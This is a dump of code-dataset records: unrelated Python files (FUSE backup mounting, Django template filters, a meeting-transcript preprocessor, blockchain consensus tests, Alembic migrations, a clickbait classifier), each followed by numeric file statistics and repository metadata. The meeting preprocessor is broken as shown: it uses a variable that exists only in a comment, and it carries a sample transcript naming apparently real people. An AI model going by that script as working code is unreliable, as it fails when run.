"onerror" in callbacks: callbacks["onerror"] = noop if not "onready" in callbacks: callbacks["onready"] = noop if not "onabord" in callbacks: callbacks["onabord"] = noop cfg = self.config callbacks["onstatus"]("Mounting filesystem...") if not self.mount_parents({ 'onerror': lambda msg, ctx: callbacks["onerror"](msg) }): callbacks["onabord"]() return callbacks["onstatus"]("Initializing bup...") mounter = FuseBup(self.bup) mount_path = tempfile.mkdtemp(prefix="bups-bup-") try: mounter.mount(mount_path) except Exception, e: callbacks["onerror"]("WARN: "+str(e)+"\n") self.bup_mounter = mounter callbacks["onstatus"]('Bup fuse filesystem mounted.') self.mounted = True callbacks["onready"]({ "path": mounter.get_inner_path() }) def unmount(self, callbacks={}): if not "onstatus" in callbacks: callbacks["onstatus"] = noop if not "onerror" in callbacks: callbacks["onerror"] = noop if not "onfinish" in callbacks: callbacks["onfinish"] = noop if self.bup_mounter is None: return callbacks["onstatus"]("Unmounting bup filesystem...") try: self.bup_mounter.unmount() except Exception, e: callbacks["onerror"]("WARN: "+str(e)+"\n") callbacks["onstatus"]("Unmounting filesystem...") self.unmount_parents({ 'onerror': lambda msg, ctx: callbacks["onerror"](msg) }) self.mounted = False callbacks["onfinish"]({}) def parents_need_sudo(self): for mounter in self.parents: if isinstance(mounter, FuseRoot): return True return False def mount_log(self, msg): if self.sudo_worker is not None: return print(msg) def mount_parents(self, callbacks={}): if not "onerror" in callbacks: callbacks["onerror"] = noop if self.parents_need_sudo() and self.sudo_worker is not None: res = self.sudo_worker.proxy_command("mount", callbacks) if res["success"]: self.bup.set_dir(res["bup_path"]) return res["success"] mount_cfg = self.config["mount"] last_mount_path = self.bup.get_default_dir() if mount_cfg.get("type", "") == "" and mount_cfg.get("path", "") != "": last_mount_path = os.path.expanduser(mount_cfg["path"]) for mounter in self.parents: mount_path = tempfile.mkdtemp(prefix="bups-"+mounter.get_type()+"-") self.mount_log("Mounting "+mounter.get_type()+" on "+mount_path) try: mounter.mount(mount_path, last_mount_path) except Exception, e: callbacks["onerror"]("ERR: "+str(e)+"\n", {}) return False last_mount_path = mounter.get_inner_path() self.mount_log("Backup dir is "+last_mount_path) self.bup.set_dir(last_mount_path) return True def unmount_parents(self, callbacks={}): if not "onerror" in callbacks: callbacks["onerror"] = noop if self.parents_need_sudo() and self.sudo_worker is not None: return self.sudo_worker.proxy_command("unmount", callbacks)["success"] for mounter in reversed(self.parents): self.mount_log("Unmounting "+mounter.get_type()+" on "+mounter.get_mount_path()) try: mounter.unmount() except Exception, e: callbacks["onerror"]("ERR: "+str(e)+"\n", {}) return False return True

25.953333

84

0.656563

984

7,786

5.079268

0.158537

0.064626

0.044018

0.012005

0.444378

0.353742

0.322929

0.262505

0.231693

0.181673

0

0.003128

0.178911

7,786

299

85

26.040134

0.778664

0.00411

0

0.39485

0

0.004292

0.190789

0.013932

0

null

0.004292

0.04721

null

0.004292

0

null

0

null

0

1

0

1

bb464176e752765ae17771663cfb6e6d7f9714b9

1,177

py

Python

integreat_cms/cms/templatetags/tree_filters.py

Integreat/cms-v2

c79a54fd5abb792696420aa6427a5e5a356fa79c

[ "Apache-2.0" ]

21

2018-10-26T20:10:45.000Z

2020-10-22T09:41:46.000Z

integreat_cms/cms/templatetags/tree_filters.py

Integreat/cms-v2

c79a54fd5abb792696420aa6427a5e5a356fa79c

[ "Apache-2.0" ]

392

2018-10-25T08:34:07.000Z

2020-11-19T08:20:30.000Z

integreat_cms/cms/templatetags/tree_filters.py

Integreat/cms-v2

c79a54fd5abb792696420aa6427a5e5a356fa79c

[ "Apache-2.0" ]

23

2019-03-06T17:11:35.000Z

2020-10-16T04:36:41.000Z

""" This is a collection of tags and filters for models which inherit from the MPTT model :class:`~integreat_cms.cms.models.abstract_tree_node.AbstractTreeNode` (:class:`~integreat_cms.cms.models.pages.page.Page` and :class:`~integreat_cms.cms.models.languages.language_tree_node.LanguageTreeNode`). """ from django import template register = template.Library() @register.filter def get_descendant_ids(node): """ This filter returns the ids of all the node's descendants. :param node: The requested node :type node: ~integreat_cms.cms.models.abstract_tree_node.AbstractTreeNode :return: The list of all the node's descendants' ids :rtype: list [ int ] """ return [ descendant.id for descendant in node.get_cached_descendants(include_self=True) ] @register.filter def get_children_ids(node): """ This filter returns the ids of all the node's direct children. :param node: The requested node :type node: ~integreat_cms.cms.models.abstract_tree_node.AbstractTreeNode :return: The list of all the node's children's ids :rtype: list [ int ] """ return [child.id for child in node.cached_children]

29.425

86

0.731521

167

1,177

5.02994

0.347305

0.071429

0.089286

0.125

0.57619

0.458333

0.432143

0.369048

0

0.172472

1,177

39

87

30.179487

0.862423

0.661852

0

0.2

0

1

0.2

false

0

0.1

0

0.5

0

null

0

null

0

1

0

bb4652a753ab3b1a67b9185a0d10ad240ff3d243

5,220

py

Python

Preprocess.py

Rawan19/HMNet

2aa8de20558412c1adb15fac69f18f50d6f59227

[ "MIT" ]

null

Preprocess.py

Rawan19/HMNet

2aa8de20558412c1adb15fac69f18f50d6f59227

[ "MIT" ]

null

Preprocess.py

Rawan19/HMNet

2aa8de20558412c1adb15fac69f18f50d6f59227

[ "MIT" ]

null

import json import spacy from nltk.tokenize import word_tokenize import nltk nltk.download('punkt') # print("argss:") # print(sys.argv[0]) # text = sys.argv[0] print("Preprocessing the input file ...") def preprocess_raw(raw_text : str) : json_dict_outer = {} json_dict = {} json_dict_outer['id']="1" nlp = spacy.load('en', parser = False) # nlp_spacy = spacy.load("en_core_web_sm") POS = {w: i for i, w in enumerate([''] + list(nlp.tagger.labels))} ENT = {w: i for i, w in enumerate([''] + nlp.entity.move_names)} name_role_dict = {'A' : 'PM' , 'B' : 'ID' , 'C' :'UI' , 'D' :'ME'} list_dicts = [] turns = text.split('\n') for turn in turns : json_dict = {} if len(turn) < 1 : continue name = turn.split(":", 1)[0] role_name = name_role_dict[name] json_dict['speaker'] = name json_dict['role'] = role_name word_text = turn.split(":", 1)[1] tokenized_text = word_tokenize(word_text) json_dict['utt'] = {} output = {'word': [], 'pos_id': [],'ent_id': []} output['word'] = tokenized_text for token in nlp(word_text): pos = token.tag_ output['pos_id'].append(POS[pos] if pos in POS else 0) ent = 'O' if token.ent_iob_ == 'O' else (token.ent_iob_ + '-' + token.ent_type_) output['ent_id'].append(ENT[ent] if ent in ENT else 0) json_dict['utt'] = output list_dicts.append(json_dict) json_dict_outer['meeting'] = list_dicts json_dict_outer['summary']=[""] with open('test_raw2.jsonl', 'w') as outfile: for entry in [json_dict_outer]: # print(entry) json.dump(entry, outfile) outfile.write('\n') import gzip with open('test_raw2.jsonl', 'rb') as f_in, gzip.open('ExampleRawData/meeting_summarization/AMI_proprec/test/test_raw2.jsonl.gz', 'wb') as f_out: f_out.writelines(f_in) print("Prerpocessing is Complete! the new test file was created with the following path: ExampleRawData/meeting_summarization/AMI_proprec/test/test_raw2.jsonl.gz") # text = """ # Ashwin Swarup:Alright, let's let's start then. So, welcome to the Daily call. So I wanted a basic update on where we are on ditto, so mitesh can even brought update on that. # Mitesh Gupta: Oh yeah. So deter we have finally our position was in this Marketplace and we have got our latest app available on the marketplace with the updates, about the installation steps and new screenshots. We are waiting to put a new video so that will get a new release next week. Next early. Next week, as well as we're in talk with the Eric, the representative # Mitesh Gupta:person of zendes where you can help us with the marketing of video. So we are all # Ashwin Swarup:No. Yeah I also got a video the latest video from anitage and looks good. So I send it for approval to my. So let's see if If you approves it, I will set it up on the detail. but, # Mitesh Gupta:Corporation, then we can work. # Ashwin Swarup:But on the whole, it looks good. # Mitesh Gupta:Yeah. And as well as what I have seen. I have also seen the Google analytics page for dito and I've seen around 8 to 15 requests are there. Like people have visited to our little page, # Ashwin Swarup:That's good. So I mean, the initial days two days since deployment. Let's see how it goes. All right, what's the status on Chiron? # Siddhant Bane:Yeah. So in terms of testing we have we are done with our unit tests and today we have pushed them I think with it can review them and basically approve our pull request and we will be done with that apart from that we are working on the chat server where like we discussed in yesterday's meeting, we are going to incorporate handoff feature and Also, the scalability issues that we were facing, we're going to address. From that Shashank can update. # Shashank M:Oh yeah. So from my side, I had a few Test cases remaining. And as, after that, udit also told me to make a few more code changes to the API for the document passing an intense generation. So we made a, we made the remaining changes and I've pushed the code and with the HTTP action file on the HTTP download and upload code, which I had written. So I've put the changes for that as well. So I just have to sit with Throne to make the UI changes. So yeah so after that I'm done with the unit test case now I just have a few Service Test cases remaining. So once I'm done with that, I'll push it to get # Ashwin Swarup:And the knowledge graph test cases are also done the part where we were trying to do question augmentation test cases now that that needs to still start. # Shashank M:With the knowledge craft test cases. So it's divided into two and that one is the document passing. And then the Generation. The addition of the training. # Ashwin Swarup: Yeah. # Shashank M: So So the first one, the document passing test cases are all done so the other one which was to add the generated intense and responses for that. We were facing a few issues. So with its help you were able to just you know just get the edge cases out. So if it's failing we're giving the particular the necessary output messages. So yeah, that's all done. # Ashwin Swarup: All right. Sounds good. Thanks a lot, guys. # """ preprocess_raw(text)

61.411765

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0.717625

921

5,220

3.997828

0.346363

0.026073

0.017653

0.008691

0.066812

0.043998

0.034221

0

0.004042

0.194253

5,220

84

615

62.142857

0.871374

0.622605

0

0.043478

0

0.021739

0.198767

0.07396

0

1

0.021739

false

0

0.108696

0

0.130435

0.043478

0

null

0

null

0

1

0

bb46960a624b1fcc9ef41fe1b43cb6eb44c59062

14,165

py

Python

src/bos_consensus/blockchain/test_blockchain.py

LuffyEMonkey/isaac-consensus-protocol

806d967d56ef8862a477b2515c7854af289c10a0

[ "Apache-2.0" ]

1

2018-04-10T11:00:59.000Z

src/bos_consensus/blockchain/test_blockchain.py

LuffyEMonkey/isaac-consensus-protocol

806d967d56ef8862a477b2515c7854af289c10a0

[ "Apache-2.0" ]

null

src/bos_consensus/blockchain/test_blockchain.py

LuffyEMonkey/isaac-consensus-protocol

806d967d56ef8862a477b2515c7854af289c10a0

[ "Apache-2.0" ]

null

from ..common import Ballot, BallotVotingResult, Message, node_factory from ..network import Endpoint from ..blockchain import Blockchain from ..consensus import get_fba_module from ..consensus.fba.isaac import IsaacState from .util import StubTransport IsaacConsensus = get_fba_module('isaac').IsaacConsensus def blockchain_factory(name, address, threshold, validator_endpoint_uris): node = node_factory(name, Endpoint.from_uri(address)) validators = list() for uri in validator_endpoint_uris: validators.append( node_factory(uri, Endpoint.from_uri(uri)), ) consensus = IsaacConsensus(node, threshold, validators) return Blockchain( consensus, StubTransport() ) def test_consensus_instantiation(): blockchain = blockchain_factory( 'n1', 'http://localhost:5001', 100, ['http://localhost:5002', 'http://localhost:5003']) assert blockchain.node_name == 'n1' assert blockchain.endpoint.uri_full == 'http://localhost:5001?name=n1' assert blockchain.consensus.threshold == 100 IsaacConsensus.transport = StubTransport() def test_state_init_to_sign(): node_name_1 = 'http://localhost:5001' node_name_2 = 'http://localhost:5002' node_name_3 = 'http://localhost:5003' bc1 = blockchain_factory( node_name_1, 'http://localhost:5001', 100, [node_name_2, node_name_3] ) bc2 = blockchain_factory( node_name_2, 'http://localhost:5002', 100, [node_name_1, node_name_3] ) bc3 = blockchain_factory( node_name_3, 'http://localhost:5003', 100, [node_name_1, node_name_2] ) bc1.consensus.add_to_validator_connected(bc2.node) bc1.consensus.add_to_validator_connected(bc3.node) bc1.consensus.init() message = Message.new('message') ballot_init_1 = Ballot.new(node_name_1, message, IsaacState.INIT, BallotVotingResult.agree) ballot_id = ballot_init_1.ballot_id ballot_init_2 = Ballot(ballot_id, node_name_2, message, IsaacState.INIT, BallotVotingResult.agree, ballot_init_1.timestamp) ballot_init_3 = Ballot(ballot_id, node_name_3, message, IsaacState.INIT, BallotVotingResult.agree, ballot_init_1.timestamp) bc1.receive_ballot(ballot_init_1) bc1.receive_ballot(ballot_init_2) bc1.receive_ballot(ballot_init_3) assert bc1.consensus.slot.get_ballot_state(ballot_init_1) == IsaacState.SIGN def test_state_init_to_all_confirm_sequence(): node_name_1 = 'http://localhost:5001' node_name_2 = 'http://localhost:5002' node_name_3 = 'http://localhost:5003' bc1 = blockchain_factory( node_name_1, 'http://localhost:5001', 100, [node_name_2, node_name_3], ) bc2 = blockchain_factory( node_name_2, 'http://localhost:5002', 100, [node_name_1, node_name_3], ) bc3 = blockchain_factory( node_name_3, 'http://localhost:5003', 100, [node_name_1, node_name_2], ) bc1.consensus.add_to_validator_connected(bc2.node) bc1.consensus.add_to_validator_connected(bc3.node) bc1.consensus.init() bc2.consensus.add_to_validator_connected(bc1.node) bc2.consensus.add_to_validator_connected(bc3.node) bc2.consensus.init() bc3.consensus.add_to_validator_connected(bc1.node) bc3.consensus.add_to_validator_connected(bc2.node) bc3.consensus.init() message = Message.new('message') ballot_init_1 = Ballot.new(node_name_1, message, IsaacState.INIT, BallotVotingResult.agree) ballot_id = ballot_init_1.ballot_id ballot_init_2 = Ballot(ballot_id, node_name_2, message, IsaacState.INIT, BallotVotingResult.agree, ballot_init_1.timestamp) ballot_init_3 = Ballot(ballot_id, node_name_3, message, IsaacState.INIT, BallotVotingResult.agree, ballot_init_1.timestamp) bc1.receive_ballot(ballot_init_1) bc1.receive_ballot(ballot_init_2) bc1.receive_ballot(ballot_init_3) bc2.receive_ballot(ballot_init_1) bc2.receive_ballot(ballot_init_2) bc2.receive_ballot(ballot_init_3) bc3.receive_ballot(ballot_init_1) bc3.receive_ballot(ballot_init_2) bc3.receive_ballot(ballot_init_3) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.SIGN assert bc2.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.SIGN assert bc3.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.SIGN ballot_sign_1 = Ballot(ballot_id, node_name_1, message, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_1.timestamp) ballot_sign_2 = Ballot(ballot_id, node_name_2, message, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_1.timestamp) ballot_sign_3 = Ballot(ballot_id, node_name_3, message, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_1.timestamp) bc1.receive_ballot(ballot_sign_1) bc1.receive_ballot(ballot_sign_2) bc1.receive_ballot(ballot_sign_3) bc2.receive_ballot(ballot_sign_1) bc2.receive_ballot(ballot_sign_2) bc2.receive_ballot(ballot_sign_3) bc3.receive_ballot(ballot_sign_1) bc3.receive_ballot(ballot_sign_2) bc3.receive_ballot(ballot_sign_3) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT assert bc2.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT assert bc3.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT ballot_accept_1 = Ballot(ballot_id, node_name_1, message, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_1.timestamp) ballot_accept_2 = Ballot(ballot_id, node_name_2, message, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_1.timestamp) ballot_accept_3 = Ballot(ballot_id, node_name_3, message, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_1.timestamp) bc1.receive_ballot(ballot_sign_1) # different state ballot bc1.receive_ballot(ballot_accept_2) bc1.receive_ballot(ballot_accept_3) bc2.receive_ballot(ballot_accept_1) bc2.receive_ballot(ballot_accept_2) bc2.receive_ballot(ballot_sign_3) # different state ballot bc3.receive_ballot(ballot_accept_1) bc3.receive_ballot(ballot_accept_2) bc3.receive_ballot(ballot_accept_3) assert message in bc1.consensus.messages assert bc2.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT assert message in bc3.consensus.messages def test_state_jump_from_init(): node_name_1 = 'http://localhost:5001' node_name_2 = 'http://localhost:5002' node_name_3 = 'http://localhost:5003' node_name_4 = 'http://localhost:5004' bc1 = blockchain_factory( node_name_1, 'http://localhost:5001', 100, [node_name_2, node_name_3, node_name_4], ) bc2 = blockchain_factory( node_name_2, 'http://localhost:5002', 100, [node_name_1, node_name_3, node_name_4], ) bc3 = blockchain_factory( node_name_3, 'http://localhost:5003', 100, [node_name_1, node_name_2, node_name_4], ) bc4 = blockchain_factory( node_name_4, 'http://localhost:5004', 100, [node_name_1, node_name_2, node_name_3], ) bc1.consensus.add_to_validator_connected(bc2.node) bc1.consensus.add_to_validator_connected(bc3.node) bc1.consensus.add_to_validator_connected(bc4.node) bc1.consensus.init() message = Message.new('message') ballot_init_2 = Ballot.new(node_name_2, message, IsaacState.INIT, BallotVotingResult.agree) ballot_id = ballot_init_2.ballot_id ballot_init_3 = Ballot(ballot_id, node_name_3, message, IsaacState.INIT, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_init_4 = Ballot(ballot_id, node_name_4, message, IsaacState.INIT, BallotVotingResult.agree, ballot_init_2.timestamp) bc1.receive_ballot(ballot_init_2) bc1.receive_ballot(ballot_init_3) bc1.receive_ballot(ballot_init_4) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.SIGN ballot_sign_2 = Ballot(ballot_id, node_name_2, message, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_sign_3 = Ballot(ballot_id, node_name_3, message, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_sign_4 = Ballot(ballot_id, node_name_4, message, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_2.timestamp) bc1.receive_ballot(ballot_sign_2) bc1.receive_ballot(ballot_sign_3) bc1.receive_ballot(ballot_sign_4) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT ballot_accept_3 = Ballot(ballot_id, node_name_3, message, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_accept_4 = Ballot(ballot_id, node_name_4, message, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_2.timestamp) bc1.receive_ballot(ballot_accept_3) bc1.receive_ballot(ballot_accept_4) assert message in bc1.consensus.messages def test_next_message(): node_name_1 = 'http://localhost:5001' node_name_2 = 'http://localhost:5002' node_name_3 = 'http://localhost:5003' node_name_4 = 'http://localhost:5004' bc1 = blockchain_factory( node_name_1, 'http://localhost:5001', 100, [node_name_2, node_name_3, node_name_4], ) bc2 = blockchain_factory( node_name_2, 'http://localhost:5002', 100, [node_name_1, node_name_3, node_name_4], ) bc3 = blockchain_factory( node_name_3, 'http://localhost:5003', 100, [node_name_1, node_name_2, node_name_4], ) bc4 = blockchain_factory( node_name_4, 'http://localhost:5004', 100, [node_name_1, node_name_2, node_name_3], ) bc1.consensus.add_to_validator_connected(bc2.node) bc1.consensus.add_to_validator_connected(bc3.node) bc1.consensus.add_to_validator_connected(bc4.node) bc1.consensus.init() message_1 = Message.new('message-1') ballot_init_2 = Ballot.new(node_name_2, message_1, IsaacState.INIT, BallotVotingResult.agree) ballot_id = ballot_init_2.ballot_id ballot_init_3 = Ballot(ballot_id, node_name_3, message_1, IsaacState.INIT, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_init_4 = Ballot(ballot_id, node_name_4, message_1, IsaacState.INIT, BallotVotingResult.agree, ballot_init_2.timestamp) bc1.receive_ballot(ballot_init_2) bc1.receive_ballot(ballot_init_3) bc1.receive_ballot(ballot_init_4) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.SIGN ballot_sign_2 = Ballot(ballot_id, node_name_2, message_1, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_sign_3 = Ballot(ballot_id, node_name_3, message_1, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_sign_4 = Ballot(ballot_id, node_name_4, message_1, IsaacState.SIGN, BallotVotingResult.agree, ballot_init_2.timestamp) bc1.receive_ballot(ballot_sign_2) bc1.receive_ballot(ballot_sign_3) bc1.receive_ballot(ballot_sign_4) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT ballot_accept_3 = Ballot(ballot_id, node_name_3, message_1, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_2.timestamp) ballot_accept_4 = Ballot(ballot_id, node_name_4, message_1, IsaacState.ACCEPT, BallotVotingResult.agree, ballot_init_2.timestamp) bc1.receive_ballot(ballot_accept_3) bc1.receive_ballot(ballot_accept_4) assert message_1 in bc1.consensus.messages message_2 = Message.new('message-2') ballot_init_2 = Ballot.new(node_name_2, message_2, IsaacState.INIT, BallotVotingResult.agree) ballot_id_2 = ballot_init_2.ballot_id ballot_init_2.ballot_id = ballot_id_2 ballot_init_3.ballot_id = ballot_id_2 ballot_init_4.ballot_id = ballot_id_2 ballot_init_2.timestamp = ballot_init_2.timestamp ballot_init_3.timestamp = ballot_init_2.timestamp ballot_init_4.timestamp = ballot_init_2.timestamp ballot_init_2.message = message_2 ballot_init_3.message = message_2 ballot_init_4.message = message_2 bc1.receive_ballot(ballot_init_2) bc1.receive_ballot(ballot_init_3) bc1.receive_ballot(ballot_init_4) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.SIGN ballot_sign_2.ballot_id = ballot_id_2 ballot_sign_3.ballot_id = ballot_id_2 ballot_sign_4.ballot_id = ballot_id_2 ballot_sign_2.timestamp = ballot_init_2.timestamp ballot_sign_3.timestamp = ballot_init_2.timestamp ballot_sign_4.timestamp = ballot_init_2.timestamp ballot_sign_2.message = message_2 ballot_sign_3.message = message_2 ballot_sign_4.message = message_2 bc1.receive_ballot(ballot_sign_2) bc1.receive_ballot(ballot_sign_3) bc1.receive_ballot(ballot_sign_4) assert bc1.consensus.slot.get_ballot_state(ballot_init_2) == IsaacState.ACCEPT ballot_accept_3.ballot_id = ballot_id_2 ballot_accept_4.ballot_id = ballot_id_2 ballot_accept_3.message = message_2 ballot_accept_4.message = message_2 ballot_accept_3.timestamp = ballot_init_2.timestamp ballot_accept_4.timestamp = ballot_init_2.timestamp bc1.receive_ballot(ballot_accept_3) bc1.receive_ballot(ballot_accept_4) assert message_1 in bc1.consensus.messages

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6

bb470997d608e5d11cdde33ab3f008db973fea29

780

py

Python

problems/python/reverse_integer.py

kcc3/leetcode-solutions

9a38f76c702a6df0f4bc798ac94b7137ae31ea76

[ "MIT" ]

null

problems/python/reverse_integer.py

kcc3/leetcode-solutions

9a38f76c702a6df0f4bc798ac94b7137ae31ea76

[ "MIT" ]

null

problems/python/reverse_integer.py

kcc3/leetcode-solutions

9a38f76c702a6df0f4bc798ac94b7137ae31ea76

[ "MIT" ]

null

def reverse(x): """Given a 32-bit signed integer, reverse digits of an integer. Solve: Cast int to a string and use string slicing to easily do reversing Args: x (int): integer to reverse Returns: int: reversed integer or 0 if it exceeds the 32-bit signed integer range: [−2^31, 2^31 − 1] """ s = str(x) negative = False if s[0] == "-": negative = True s = s[1:] s = s[::-1] if negative: s = "-" + s return 0 if int(s) > 2 ** 31 - 1 or int(s) < -2 ** 31 else int(s) if __name__ == "__main__": assert reverse(123) == 321 assert reverse(-123) == -321 assert reverse(120) == 21 assert reverse(-120) == -21 assert reverse(2**32) == 0 assert reverse(-2**33) == 0

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null

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bb48963dd6288ee9be3650594810acbe8bced547

1,466

py

Python

alembic/versions/3ea865991c72_create_user_notification_table.py

modist-io/modist-api

827d4b1962caee9a2fde1470df30d8fd60f8f998

[ "0BSD" ]

1

2021-01-03T00:20:07.000Z

alembic/versions/3ea865991c72_create_user_notification_table.py

modist-io/modist-api

827d4b1962caee9a2fde1470df30d8fd60f8f998

[ "0BSD" ]

null

alembic/versions/3ea865991c72_create_user_notification_table.py

modist-io/modist-api

827d4b1962caee9a2fde1470df30d8fd60f8f998

[ "0BSD" ]

null

"""Create user_notification table. Revision ID: 3ea865991c72 Revises: 4e8c8d41f23f Create Date: 2020-04-15 18:43:23.856094 """ import sqlalchemy as sa from sqlalchemy.dialects import postgresql from alembic import op # revision identifiers, used by Alembic. revision = "3ea865991c72" down_revision = "4e8c8d41f23f" branch_labels = None depends_on = None def upgrade(): """Pushes changes into the database.""" op.create_table( "user_notification", sa.Column( "created_at", sa.DateTime(timezone=True), server_default=sa.text("now()"), nullable=False, ), sa.Column( "updated_at", sa.DateTime(timezone=True), server_default=sa.text("now()"), nullable=False, ), sa.Column("user_id", postgresql.UUID(as_uuid=True), nullable=False), sa.Column("notification_id", postgresql.UUID(as_uuid=True), nullable=False), sa.ForeignKeyConstraint( ["notification_id"], ["notification.id"], ondelete="cascade" ), sa.ForeignKeyConstraint(["user_id"], ["user.id"], ondelete="cascade"), sa.PrimaryKeyConstraint("user_id", "notification_id"), ) op.create_refresh_updated_at_trigger("user_notification") def downgrade(): """Reverts changes performed by upgrade().""" op.drop_refresh_updated_at_trigger("user_notification") op.drop_table("user_notification")

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null

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null

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0

bb48c15a637195ee193c14fecf22f1af1ff953ad

813

py

Python

migrations/versions/0974ecc7059c_protocols_table_add_col_is_cool.py

Spin14/wolf-backend

21fc9d1a0df092eaa6a533149a165d2898f5fe40

[ "MIT" ]

2

2020-01-04T17:46:20.000Z

2020-01-19T17:41:38.000Z

migrations/versions/0974ecc7059c_protocols_table_add_col_is_cool.py

Spin14/wolf-backend

21fc9d1a0df092eaa6a533149a165d2898f5fe40

[ "MIT" ]

7

2019-05-06T01:42:12.000Z

2019-05-14T23:22:54.000Z

migrations/versions/0974ecc7059c_protocols_table_add_col_is_cool.py

Spin14/wolf-backend

21fc9d1a0df092eaa6a533149a165d2898f5fe40

[ "MIT" ]

1

2019-09-24T21:15:52.000Z

"""protocols table: add col is cool Revision ID: 0974ecc7059c Revises: a5d44f24dd74 Create Date: 2019-05-12 01:17:23.068006 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '0974ecc7059c' down_revision = 'a5d44f24dd74' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### with op.batch_alter_table('protocols', schema=None) as batch_op: batch_op.add_column(sa.Column('is_cool', sa.Boolean(), nullable=True)) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### with op.batch_alter_table('protocols', schema=None) as batch_op: batch_op.drop_column('is_cool') # ### end Alembic commands ###

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null

0

null

0

1

0

bb4979a9585e712765aa4115058b93473d1d95ca

1,225

py

Python

avalon/__main__.py

noflame/core

79ea85a26f0296d7c1f72670d377611d4502307b

[ "MIT" ]

6

2018-09-13T04:44:28.000Z

2020-02-16T22:27:50.000Z

avalon/__main__.py

noflame/core

79ea85a26f0296d7c1f72670d377611d4502307b

[ "MIT" ]

23

2017-11-14T15:38:32.000Z

2019-07-25T11:18:42.000Z

avalon/__main__.py

noflame/core

79ea85a26f0296d7c1f72670d377611d4502307b

[ "MIT" ]

3

2018-02-02T22:11:56.000Z

2018-09-19T07:40:00.000Z

import argparse from . import pipeline if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--creator", action="store_true", help="Launch Instance Creator in standalone mode") parser.add_argument("--loader", action="store_true", help="Launch Asset Loader in standalone mode") parser.add_argument("--manager", action="store_true", help="Launch Manager in standalone mode") parser.add_argument("--projectmanager", action="store_true", help="Launch Manager in standalone mode") parser.add_argument("--root", help="Absolute path to root directory of assets") args, unknown = parser.parse_known_args() host = pipeline.debug_host() pipeline.register_host(host) if args.creator: from .tools import creator creator.show(debug=True) elif args.loader: from .tools import loader loader.show(debug=True) elif args.manager: from .tools import manager manager.show(debug=True) elif args.projectmanager: from .tools import projectmanager projectmanager.cli(unknown)

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0

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null

0

null

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1

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bb4a49b8b6d974716033873278cdc931b262790b

1,607

py

Python

Codementor.io/GarethDwyer/apps/clickbait/clickbait_classifier.py

nitin-cherian/Webapps

fbfbef6cb22fc742ee66460268afe6ff7834faa1

[ "MIT" ]

1

2017-11-22T08:56:06.000Z

Codementor.io/GarethDwyer/apps/clickbait/clickbait_classifier.py

nitin-cherian/Webapps

fbfbef6cb22fc742ee66460268afe6ff7834faa1

[ "MIT" ]

null

Codementor.io/GarethDwyer/apps/clickbait/clickbait_classifier.py

nitin-cherian/Webapps

fbfbef6cb22fc742ee66460268afe6ff7834faa1

[ "MIT" ]

null

# clickbait_classifier.py # Import libraries from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.svm import LinearSVC from sklearn.metrics import accuracy_score # globals DATA_SET_FILE = "clickbait.txt" def is_clicbait(text): svm, vectorizer = classifier() # Vectorize the text. Input needs to be an iterable vector = vectorizer.transform([text]) # Predict using the classifier prediction = svm.predict(vector) # if prediction is 1, return True else False return True if prediction[0] == '1' else False def load_data(file): # Load data from dataset into Python lists with open(file) as f: lines = [line.strip().split("\t") for line in f] headlines, labels = zip(*lines) return headlines, labels def classifier(): headlines, labels = load_data(DATA_SET_FILE) # Break dataset into train and test sets train_headlines = headlines[:8000] test_headlines = headlines[8000:] train_labels = labels[:8000] test_labels = labels[8000:] # Create a vectorizer and classifier vectorizer = TfidfVectorizer() svm = LinearSVC() # Transform our text data into numerical vectors train_vector = vectorizer.fit_transform(train_headlines) # Train the classifier svm.fit(train_vector, train_labels) # Test accuracy of our classifier test_vector = vectorizer.transform(test_headlines) predictions = svm.predict(test_vector) print(accuracy_score(predictions, test_labels)) return svm, vectorizer def main(): classifier() if __name__ == '__main__': main()

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0.03125

0

null

0

null

0

1

0

bb4ad73a6351ad5b11f7022c36288870b0aeaaa3

1,166

py

Python

commands/google_search.py

UnityRobbie/bottomly

ae5f1b9c6ee74392a8525a1c0d611927fe0d7cda

[ "MIT" ]

4

2018-03-12T09:16:49.000Z

2021-07-15T08:21:32.000Z

commands/google_search.py

UnityRobbie/bottomly

ae5f1b9c6ee74392a8525a1c0d611927fe0d7cda

[ "MIT" ]

5

2018-03-17T20:27:31.000Z

2020-11-17T09:50:48.000Z

commands/google_search.py

UnityRobbie/bottomly

ae5f1b9c6ee74392a8525a1c0d611927fe0d7cda

[ "MIT" ]

7

2018-03-12T10:01:31.000Z

2022-01-18T14:55:00.000Z

